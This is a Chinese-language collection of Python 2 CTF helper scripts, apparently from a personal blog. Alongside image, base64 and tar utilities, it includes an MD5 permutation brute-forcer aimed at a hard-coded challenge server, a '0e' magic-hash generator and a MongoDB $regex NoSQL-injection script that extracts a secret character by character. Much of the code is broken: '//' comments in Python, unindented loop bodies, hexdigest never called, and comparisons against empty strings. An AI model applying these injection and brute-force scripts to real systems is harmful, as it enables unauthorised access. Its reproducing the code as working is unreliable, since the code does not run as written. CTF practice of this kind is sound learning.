积累一点ctf需要掌握的常见脚本知识

1.利用像素点还原图片。

 from PIL import Image
 import re
 if __name__ == '__main__':
     x = 887 //将像素点个数进行分解，可以确定图片的长宽
     y = 111
     i = 0
     j = 0

     c = Image.new("RGB", (x,y))
     file_object = open('ce.txt') //ce.txt中保存着像素点的坐标

     for i in range(0,  x):
         for j in range(0,  y):
             line = file_object.next() //每次读取一个像素点
             lst = line.split(",") //lst生成一个元组
             c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))

     c.show()
     c.save("c.png")

2.py requests方法的利用以及利用正则匹配查找文本暴力破解md5值。

 #coding : utf8
 import requests
 import re
 import hashlib
 import itertools
 s = requests.session()  //建立一个session对话
 url = "http://106.75.67.214:2050/?pass=bee7a613a8fa4f2f"
 data = {'PHPSESSID':'6h7b4caq8bo41i3m5fg2983cq5'}
 content = s.get(url=url,data=data)
 target = re.findall("sh\"\>(.*)\<",content.text)
 target = target[0]
 poc = re.findall("code\"\>(.*)\<",content.text)
 str1 = poc[0]
 a = [''.join(x) for x in itertools.permutations(str1, 9)]  //join方法是通过指定的字符串来连接序列元素从而构成新字符串,permutations用来生成无重复字符的元组
 for i in range(0,len(a)):
 final = hashlib.md5(a[i])
 if final.hexdigest() == target:
 flag = s.get(url="http://106.75.67.214:2050/?code="+a[i])
 print flag.content
 print flag.headers

3.利用py将base64编码的字符串还原成图片

 import os,base64
 strs='''''sdasdas==''' //已经编码的base64字符串 

 imgdata=base64.b64decode(strs)
 file=open('1.jpg','wb')
 file.write(imgdata)
 file.close() 

4.生成0e哈希值：

 #coding:utf-8
 import hashlib
 import itertools
 def go():
     payload = [c for c in "qwertyuioplkjhgfdsazxcvbnm123654789"]
     i = 0
     print payload
     for j in itertools.product(payload,repeat=30): #repeat参数指定长度
         payloads = "".join(j)
         #print pow
         #i = i+ 1
         #if i == 10:
         #    break
         str1 = hashlib.md5(payloads).hexdigest + "SALT"
         str2 = hashlib.md5(str1)
         if (str2[0]=="") & (str2[1]=="e") & (str2[2:].isdigit()):
             print payloads
 go()

5.mongodb基于正则注入：

 #coding:utf-8
 import requests
 import string
 # print string.ascii_letters
 # print string.digits
 flag = "c1ctf{"
 payload = string.ascii_letters + string.digits

 url = "http://xx.x.x.x/index.php?"
 restsrt = True
 while restsrt:
     restsrt = False
     for i in payload:
         payloads = flag + i
         post_data = {"username":"admin","passwd[$regex]":flag+".*"}
         #post_data = {"username":"admin","passwd[$regex]":"^"+flag}
         r = requests.get(url = url,data = post_data,allow_redirects = False)
         if r.status_code == "":
             print payloads
             flag = flag + i
             restsrt =True
             if i == "}":
                 exit(0)
             break
         

6.多次压缩打包

 #coding:utf-8
 import tarfile
 for i in range(1,2):
     tfile = tarfile.open("shell0.tar.gz","w:gz") #打包压缩
     tfile.add("flag.py")
     tfile.close()

 for i in range(1,300):
     tfile = tarfile.open("shell"+str(i)+".tar.gz","w:gz")
     tfile.add("1.php")
     tfile.add("shell"+str(i-1)+".tar.gz")
     tfile.close()

7.多次解压：

 #coding:utf-8
 import tarfile
 for i in range(1,300)[::-1]:
     file = tarfile.open("shell"+str(i)+"tar.gz")
     file.extractall()
     file.close()